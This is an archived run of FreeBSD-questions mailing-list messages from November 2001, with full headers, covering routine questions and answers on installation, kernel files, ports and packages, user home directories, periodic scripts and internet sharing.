<20011122052705.CSDQ23924.femail32.sdc1.sfba.home.com@tspivey8> Date: Wed, 21 Nov 2001 21:27:05 -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in the Makefile it says if defined(WITHOUT_X11) .. etc how ca i define that? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:34:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from wari.semo.net (216-41-128-73.semo.net [216.41.128.73]) by hub.freebsd.org (Postfix) with SMTP id C134E37B416 for ; Wed, 21 Nov 2001 21:34:37 -0800 (PST) Received: (qmail 1688 invoked from network); 22 Nov 2001 05:31:24 -0000 Received: from unknown (HELO mail.sheltonbbs.com) (206.196.109.2) by 216-41-128-73.semo.net with SMTP; 22 Nov 2001 05:31:24 -0000 Received: (qmail 9087 invoked from network); 22 Nov 2001 05:44:55 -0000 Received: from unknown (HELO lappaq) (216.41.137.20) by 216-41-130-114.semo.net with SMTP; 22 Nov 2001 05:44:55 -0000 Message-ID: <002c01c17317$c7063780$6501a8c0@semo.net> From: "Butch Evans" To: Subject: programmer needed Date: Wed, 21 Nov 2001 23:37:30 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I need a programmer to write what I think will be a pretty quick deal. The program will run in a FreeBSD environment, and will need to speak to a database (mysql), process a credit card transaction (SurePay) and send email to the company, provide a web interface for the company or both. I can provide details when you call. We have available c++, perl or php to use for this job. Interested parties, please contact me at the number below for details. I will NOT provide details over this list. Thanks for your time. -- Butch Evans BPS Networks Bernie, MO Voice: 573.293.2638 Fax: 573.293.2299 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:46:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id A9B2137B416 for ; Wed, 21 Nov 2001 21:46:13 -0800 (PST) Received: from [195.20.224.204] (helo=mrvdom00.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 166mgb-0005xN-00; Thu, 22 Nov 2001 06:46:09 +0100 Received: from pd90172eb.dip.t-dialin.net ([217.1.114.235]) by mrvdom00.schlund.de with esmtp (Exim 2.12 #2) id 166mga-000167-00; Thu, 22 Nov 2001 06:46:08 +0100 Date: Thu, 22 Nov 2001 04:44:38 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Ashwin Kotian Cc: Subject: Re: Floppy Boot installation problems: Plz help In-Reply-To: <1006310148.3bfb1304b6625@mail.comstocksys.com> Message-ID: <20011122043947.L52209-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Ashwin Kotian wrote: > Hi, > > I've been trying to install the current stable version > of FreeBSD v.4.4 through the floppy boot installation > method. I've used fresh new floppies & have formatted > them under Linux (and also Windows NT ). I've copied the > image files for kern.flp & mfsroot.flp onto 2 individual > floppies. I've been able to boot from both floppies in > succession till the phase where we resolve the conflicts > during installation. However inspite of specifying the > minimum hardware for the kernel to probe, once I quit & > save the parameters, after probing for the common > devices until it finishes probing the system console > device, the machine stays hung up. I've tried with a no. > of new floppies. Also the image files which I dowloaded > were in binary mode. Still I'm unable to proceed with > the installation of FreeBSD. This machine currently has > FreeBSD v4.3 installed & running, however I've read that > it is better to redo the entire installation from > scratch rather than do the upgrade. No, try to upgrade. You cannot destroy and rebuild your system completely every quarter of a year. Regards, Uli. > Any help here will be greatly appreciated. > > Thanks a lot, > > Ashwin. > > To Unsubscribe: send mail to majordomo@FreeBSD.org with > "unsubscribe freebsd-questions" in the body of the > message > ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:53:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pioneernet.net (mail.pioneernet.net [207.115.64.224]) by hub.freebsd.org (Postfix) with ESMTP id 8C00837B416 for ; Wed, 21 Nov 2001 21:53:54 -0800 (PST) Received: from chip.wiegand.org [66.114.152.128] by pioneernet.net (SMTPD32-6.06) id A2FF4AB5013E; Wed, 21 Nov 2001 21:54:07 -0800 Content-Type: text/plain; charset="iso-8859-1" From: Chip To: freebsd-questions@FreeBSD.ORG Subject: locked up browsers and too many processes running? Date: Wed, 21 Nov 2001 22:02:24 -0800 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01112122022400.76143@chip.wiegand.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I came across a bit of a problem a while ago - in netscape and opera both, I tried to download a file from a site, but both browsers locked up. It was just an image, nothing out of the ordinary. Netscape 6 (linux version) locked X completely. I telneted into the box from another machine and was completely unable to kill the process, or any mozilla related processes. The mouse would move just fine, but clicking on anything would result in nothing happening. I finally just hit ctrl-alt-bkspc to kill X altogether. I was still running top via telnet and noticed that the processes did not go away, for mozilla or for opera, or for a few other X apps that were open. I am still unable to kill those processes. I have not rebooted and don't want to, shouldn't need to. In top it shows almost 400 processes, 1 to 3 running, 6 zombies and the rest sleeping. Is this okay? What should I do? Anything? (My boxes uptime is at 109 days and I really really don't want to reboot it.) :-) -- Chip W. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 22:43:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 7B83037B405 for ; Wed, 21 Nov 2001 22:43:12 -0800 (PST) Received: (qmail 4118 invoked by uid 100); 22 Nov 2001 06:43:05 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.40569.368644.379314@guru.mired.org> Date: Thu, 22 Nov 2001 00:43:05 -0600 To: "Anthony Atkielski" Cc: questions@freebsd.org Subject: Re: home pc use In-Reply-To: <9743207@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ok, I can't resist... Anthony Atkielski types: > Gary writes: > > It doesn't have lots of useful stuff on it. > Neither does a GUI, unless you count icons, title bars, and frames with shading > and highlights and milky sparkling opalescence. My window manager doesn't have any of those things. For which I am thankful. It's been a *long* time since anything on that list but frames have been on my desktop. > > It doesn't have the right one inch of the > > screen showing info on CPU, memory, or other > > info that can be displayed. Mines on the left, monitoring my workstation and the goat on my home network. I also keep a graphical mixer there so I can mute the stereo that's being piped through the speakers if the phone rings or I want to play a pcm file. You know, most of that information also shows up in the mode line in the emacs that usually - but not always - occupies the right-hand half of my screen. > It doesn't have a clock to tell me what the clock next to the monitor is telling > me, either, nor does it have an animated cursor shaped like a sneaker-wearing > daemon. It's also missing a cute doggie or R2 D2 clone that appears and gives > me answers to questions I haven't asked whenever I do anything that the > environment isn't expecting. Houses have clocks everywhere these days. I've had terminals that included them in the 25th line. If the one for the goat quits ticking, it means I've got problems... > > It doesn't have a column of buttons in that > > one inch which show me most of my running > > applications and allow me to switch between them. > I usually don't run more than one application, but I suppose that's a drawback. My dealings with Windows makes me suspect that that is true of many users. The UI and many of the applications seem to be downright hostile towards running more than one application at a time. I haven't looked at anything more recent than 98se, though, so things may have improved. > > It doesn't have a little map in that one > > inch which allows me to notice instantly which > > of several "desktops" I'm currently using and > > to switch between them. > That one inch sure seems to cover a lot of ground! Doesn't sound like that much more than Windows tries to cram into a task bar to me - except that windows doesn't support multiple desktops. > > Anthony, you are REALLY going to kick yourself > > when you learn to compromise in your Windows vs. > > Unix mentality and stop restricting yourself to > > ONLY a command line in FreeBSD. > I'm not restricting myself to a command line. I just haven't seen a GUI thus > far that is worth the time and trouble. Almost everything I do is text-based, > and I can just open multiple ssh sessions on my Windows machine if I want to do > several things at once. If you're only going to run one application at a time and most/all of them are text based, there's no point in it. Personally, I use a window manager because I like having an editor - which is character based, but supports the mouse - and a couple of xterms around all the time. I could do this with screen or xemacs on the console, and but I couldn't have different sized fonts in them windows that way, and I couldn't have that 1" of system status information that I like so much. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 22:45:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from step.cg.tuwien.ac.at (step.cg.tuwien.ac.at [128.131.166.89]) by hub.freebsd.org (Postfix) with ESMTP id BD14F37B416 for ; Wed, 21 Nov 2001 22:45:37 -0800 (PST) Received: (from step@localhost) by step.cg.tuwien.ac.at (8.9.3/8.9.3) id HAA20831; Thu, 22 Nov 2001 07:45:00 +0100 Date: Thu, 22 Nov 2001 07:45:00 +0100 From: Stephan Mantler To: Incoming Mail List Cc: questions@FreeBSD.ORG Subject: Re: [fbsd-qns] copying over kernel Message-ID: <20011122074500.A20736@step.cg.tuwien.ac.at> Mail-Followup-To: Stephan Mantler , Incoming Mail List , questions@FreeBSD.ORG References: <200111211855.NAA07548@whoweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111211855.NAA07548@whoweb.com>; from mailist@whoweb.com on Wed, Nov 21, 2001 at 01:55:10PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I want to replace /kernel with /kernel.orig. Even as superuser, I > cannot overwrite /kernel. (this applies to other binaries as well): you don't replace the original binary but move it out of the way. the next access will then go to the right file: # mv /kernel /kernel.old # mv /kernel.orig /kernel # reboot hth, -step -- stephan mantler: endurance sports maniac reality is in fact virtual. http://step.wastelander.org/ step@acm.org gnu pgp fingerprint: 0A25 EBE7 8AD3 A65D FEB5 C40E 88F9 DF4C 12CB C848 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 22:48:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 2FC9637B41A for ; Wed, 21 Nov 2001 22:48:14 -0800 (PST) Received: (qmail 4205 invoked by uid 100); 22 Nov 2001 06:48:13 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.40877.440544.248845@guru.mired.org> Date: Thu, 22 Nov 2001 00:48:13 -0600 To: "Dave VanAuken" Cc: questions@freebsd.org Subject: Re: determine user home directory from non-priv user In-Reply-To: <127236121@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dave VanAuken types: > from a non-priv account we need to determine the home directory of a user... > used for interaction with web server. > For example, need to find out what user "Joe"'s home dir is... we would execute > our program ("finduserdir" in this example) in the following manner to get the > desired results: > server# finduserdir Joe > /usr/home/Joe > server# Let the shell do it for you.... bash-2.05$ ./finduser mwm /home/mwm bash-2.05$ ./finduser qmail Unknown user: qmail. bash-2.05$ ./finduser qmailq /var/qmail bash-2.05$ cat ./finduser #!/bin/csh echo ~$1 bash-2.05$ It even sets the exit status to 0 (user exists) or 1 (use doesn't exist). http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 22:56: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kabel203069.kabel.utwente.nl (kabel203069.kabel.utwente.nl [130.89.203.69]) by hub.freebsd.org (Postfix) with ESMTP id 3FA3637B416 for ; Wed, 21 Nov 2001 22:55:59 -0800 (PST) Received: by kabel203069.kabel.utwente.nl (Postfix, from userid 1000) id 5BD3C1F88; Thu, 22 Nov 2001 07:55:52 +0100 (CET) Date: Thu, 22 Nov 2001 07:55:52 +0100 From: Rogier Steehouder To: Dave VanAuken Cc: questions@FreeBSD.ORG Subject: Re: determine user home directory from non-priv user Message-ID: <20011122075552.A576@localhost> Mail-Followup-To: Rogier Steehouder , Dave VanAuken , questions@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="gKMricLos+KVdGMg" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from dave@hawk-systems.com on Wed, Nov 21, 2001 at 02:34:15PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On 21-11-2001 14:34 (-0500), Dave VanAuken wrote: > from a non-priv account we need to determine the home directory of a user... > used for interaction with web server. > > Obviously pw is out of the question because we do not wish to give priv to the > web server (despite it being an enclosed system)... any other system base > alternatives? > > For example, need to find out what user "Joe"'s home dir is... we would execute > our program ("finduserdir" in this example) in the following manner to get the > desired results: > server# finduserdir Joe > /usr/home/Joe > server# > > Again, we need to do this from the webserver or other non-priv userid. > > Appreciate any comments. > > Dave There are several possible solutions. As an example, I have attached a perl CGI script I use myself. In general, You read /etc/passwd (which should be world-readable) and select the information you want. With kind regards, Rogier Steehouder -- ___ _ -O_\ // | / Rogier Steehouder //\ / \ r.j.s@gmx.net // \ <---------------------- 25m ----------------------> --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=userpages #!/usr/bin/perl #+-------------------------------------------------------------------+ #| Display a list of all users with homepages (links available) | #+-------------------------------------------------------------------+ # HTTP Header: print("Content-type: text/html\n", "Expires: Sat, 11 Aug 2001 00:00:00 GMT\n", "Cache-control: no-cache\n\n"); # HTML Body: print("
    \n"); while (($user, $name, $dir) = (getpwent())[0,6,7]) { if (-d "$dir/www") { print("\t
  • $name
    • \n"); } } print("
\n"); # vim:set ts=4 sw=4 et : --gKMricLos+KVdGMg-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 22:57:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail1.sdc1.sfba.home.com (femail1.sdc1.sfba.home.com [24.0.95.81]) by hub.freebsd.org (Postfix) with ESMTP id 522A637B405 for ; Wed, 21 Nov 2001 22:57:09 -0800 (PST) Received: from [172.18.202.6] ([24.255.21.103]) by femail1.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20011122065709.FMYN14146.femail1.sdc1.sfba.home.com@[172.18.202.6]> for ; Wed, 21 Nov 2001 22:57:09 -0800 User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) Date: Wed, 21 Nov 2001 23:04:27 -0800 Subject: internet sharing From: Mustang874 To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am a beginner with this OS and find it difficult to understand most of the written docs for it as they are written in too technical terms or too vague. I would like to set up a bsd box to use as an internet sharing server. I am connecting through a cable modem. Are there step-by-step, easy to understand intructions for doing this and if so, where? Or...any recommendations on publications I should aquire? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23: 1:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kabel203069.kabel.utwente.nl (kabel203069.kabel.utwente.nl [130.89.203.69]) by hub.freebsd.org (Postfix) with ESMTP id 3F04E37B416 for ; Wed, 21 Nov 2001 23:01:36 -0800 (PST) Received: by kabel203069.kabel.utwente.nl (Postfix, from userid 1000) id 36C461F88; Thu, 22 Nov 2001 08:01:35 +0100 (CET) Date: Thu, 22 Nov 2001 08:01:35 +0100 From: Rogier Steehouder To: rloc Cc: questions@FreeBSD.org Subject: Re: FreeBSD and installing ports Message-ID: <20011122080135.B576@localhost> Mail-Followup-To: Rogier Steehouder , rloc , questions@FreeBSD.org References: <3BFC3A23.C5B002E4@iafrica.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BFC3A23.C5B002E4@iafrica.com>; from rloc@iafrica.com on Wed, Nov 21, 2001 at 11:34:59PM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21-11-2001 23:34 (+0000), rloc wrote: > During the install off the CDs I selected a number of ports to be > installed and this seemed to work since I can find them under > /usr/ports/xyz/abc. > > If I mount the relevant CD in the drive and do cd > /usr/ports/astro/xworld ((for example) and then type "make" > The system says that xworld-2.0.tar.gz is not in /usr/ports/distinfo and > then attempts to FTP this file rather than read the CD. The CD files are > all in .tgz format anyway. The ports collection in /usr/ports is used to compile and install programs from their source code, which is downloaded from the Internet. pkg_add uses pre-compiled packages, which can be downloaded or read from CD. > I have been advised to do a pkg_add command but this results in a > "package already installed" message. This seems to indicate the package has already been installed. Try to find the program (usually in /usr/local/bin). An indication on which package(s) you're trying to install would allow for more specific pointers. With kind regards, Rogier Steehouder -- ___ _ -O_\ // | / Rogier Steehouder //\ / \ r.j.s@gmx.net // \ <---------------------- 25m ----------------------> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23: 4:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kabel203069.kabel.utwente.nl (kabel203069.kabel.utwente.nl [130.89.203.69]) by hub.freebsd.org (Postfix) with ESMTP id 5B27137B405 for ; Wed, 21 Nov 2001 23:04:19 -0800 (PST) Received: by kabel203069.kabel.utwente.nl (Postfix, from userid 1000) id 5ECE91F88; Thu, 22 Nov 2001 08:04:18 +0100 (CET) Date: Thu, 22 Nov 2001 08:04:18 +0100 From: Rogier Steehouder To: Scott Gerhardt Cc: FreeBSD Subject: Re: Periodic Daily Message-ID: <20011122080418.C576@localhost> Mail-Followup-To: Rogier Steehouder , Scott Gerhardt , FreeBSD References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from scott@gerhardt-it.com on Wed, Nov 21, 2001 at 06:48:18PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21-11-2001 18:48 (-0600), Scott Gerhardt wrote: > I would like to add some scripts to periodic daily, weekly etc. > What do the prefix numbers mean (i.e. 100 in 100.clean-disks)? > Do the numbers represent time, preferance etc.? > > Thanks The scripts in the /etc/periodic/*/ directories are run in alphabetical order. The numbers provide a simple means of specifying order of execution. With kind regards, Rogier Steehouder -- ___ _ -O_\ // | / Rogier Steehouder //\ / \ r.j.s@gmx.net // \ <---------------------- 25m ----------------------> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23: 5:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 5F38D37B417 for ; Wed, 21 Nov 2001 23:05:31 -0800 (PST) Received: (qmail 4712 invoked by uid 100); 22 Nov 2001 07:05:24 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.41908.299665.733764@guru.mired.org> Date: Thu, 22 Nov 2001 01:05:24 -0600 To: Phil R Cc: questions@freebsd.org Subject: Re: ide-scsi emulation In-Reply-To: <59887324@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Phil R types: > How to enable ide-scsi emulation in FreeBSD 4.3 > that i can use > #cdrecord -scanbus? Write the ide-scsi emulation code. Compile a new kernel that includes the code you wrote. Have fun. On a more serious note, if you look through the archives for -stable and -questions, someone posted a URL for a patch that provides it. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23:13:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 69F4937B417 for ; Wed, 21 Nov 2001 23:13:08 -0800 (PST) Received: (qmail 4799 invoked by uid 100); 22 Nov 2001 07:13:07 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.42371.903393.208024@guru.mired.org> Date: Thu, 22 Nov 2001 01:13:07 -0600 To: "Justin P. Michel" Cc: questions@freebsd.org, Subject: Re: alpha vs i386 In-Reply-To: <107012852@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Context recovered from top posting.] Justin P. Michel types: > From: "AJ Adams" > > Do I need alpha or i386? My specs are listed below. > Alpha is a separate CPU line, that I honestly don't know too much about. :) I can summarize everything most people need to know about Alpha CPUs in one sentence: They've been end-of-lifed by Compaq, and can be considered a dead architecture. For a bit more background, they were designed by DEC, which Compaq bought. For a time, they were the CPU for the fastest single-cpu workstations around. I believe they were the first processor ever to be clocked to a gigahertz, it having been done in the DEC labs back around '90. I have personal reasons relating to SPIM for having no regrets over their passing. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23:16:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id D42C837B416 for ; Wed, 21 Nov 2001 23:16:13 -0800 (PST) Received: from user-112vp95.biz.mindspring.com ([66.47.229.37] helo=FRANKENFURTER) by smtp6.mindspring.com with esmtp (Exim 3.33 #1) id 166o5k-00070V-00; Thu, 22 Nov 2001 02:16:12 -0500 Date: Wed, 21 Nov 2001 23:22:16 -0800 From: Brian Sobolak X-Mailer: The Bat! (v1.51) Personal Reply-To: Brian Sobolak X-Priority: 3 (Normal) Message-ID: <6458387136.20011121232216@mindspring.com> To: Mustang874 Cc: freebsd-questions@FreeBSD.ORG Subject: Re: internet sharing In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi Wednesday, November 21, 2001, 11:04:27 PM, you wrote: M> I am a beginner with this OS and find it difficult to understand most of the M> written docs for it as they are written in too technical terms or too vague. M> I would like to set up a bsd box to use as an internet sharing server. I am M> connecting through a cable modem. Are there step-by-step, easy to M> understand intructions for doing this and if so, where? Or...any M> recommendations on publications I should aquire? Have you looked at some of the more common BSD websites, including - the handbook (www.freebsd.org/handbook) - daemonnews (www.daemonnews.org) - the freebsd diary (http://www.freebsddiary.org/) - the mailing list archives (http://www.freebsd.org/search/search.html#mailinglists) I'd start there, and you want to work in stages. First, get the connection working with your cable modem. After that works, then try looking up how to setup your computer as a gateway for the other computers. Or, spend $75 and buy a simple firewall router from Linksys or Netgear. It's worth the money and will probably meet your needs. brian -- Got work? http://www.planetshwoop.com/resume/ This is how I think: http://www.planetshwoop.com/blog/ Brian Sobolak sobolak@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23:18:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 3098237B418 for ; Wed, 21 Nov 2001 23:18:32 -0800 (PST) Received: (qmail 4919 invoked by uid 100); 22 Nov 2001 07:18:26 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.42690.949397.264596@guru.mired.org> Date: Thu, 22 Nov 2001 01:18:26 -0600 To: =?iso-8859-1?q?shanon=20loveridge?= Cc: questions@freebsd.org Subject: Re: Video Capture In-Reply-To: <123049919@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG shanon loveridge types: > Is there any Video capture software available for > FreeBSD? I have done a search on google but I could > not really find anything. I am lookng for a high > quality capture preferably to mpeg2 to later be > converted to SVCD (Basicaly I want a video recorder) > although mepeg1 might be acceptable. At present I have > a ASUS V6800 Geforce with Video IN/OUT however if > capture on this card is not supported I would look at > another capture card. There are a number of options. fxtv in the ports is the one I use. I don't know of any that support that specific card; I'd advise checking the ports tree for more information. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 23:39:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176]) by hub.freebsd.org (Postfix) with ESMTP id 9EE5D37B405 for ; Wed, 21 Nov 2001 23:39:13 -0800 (PST) Received: from [213.123.132.59] (helo=there) by rhenium with smtp (Exim 3.22 #8) id 166cCO-0005UY-00; Wed, 21 Nov 2001 18:34:16 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Dominic Marks To: "Drew Tomlinson" , Subject: Re: A (IMHO) Question Asking Good Guide Date: Wed, 21 Nov 2001 18:34:16 +0000 X-Mailer: KMail [version 1.3.1] References: <003501c172b9$dd8239e0$962a6ba5@lc.ca.gov> In-Reply-To: 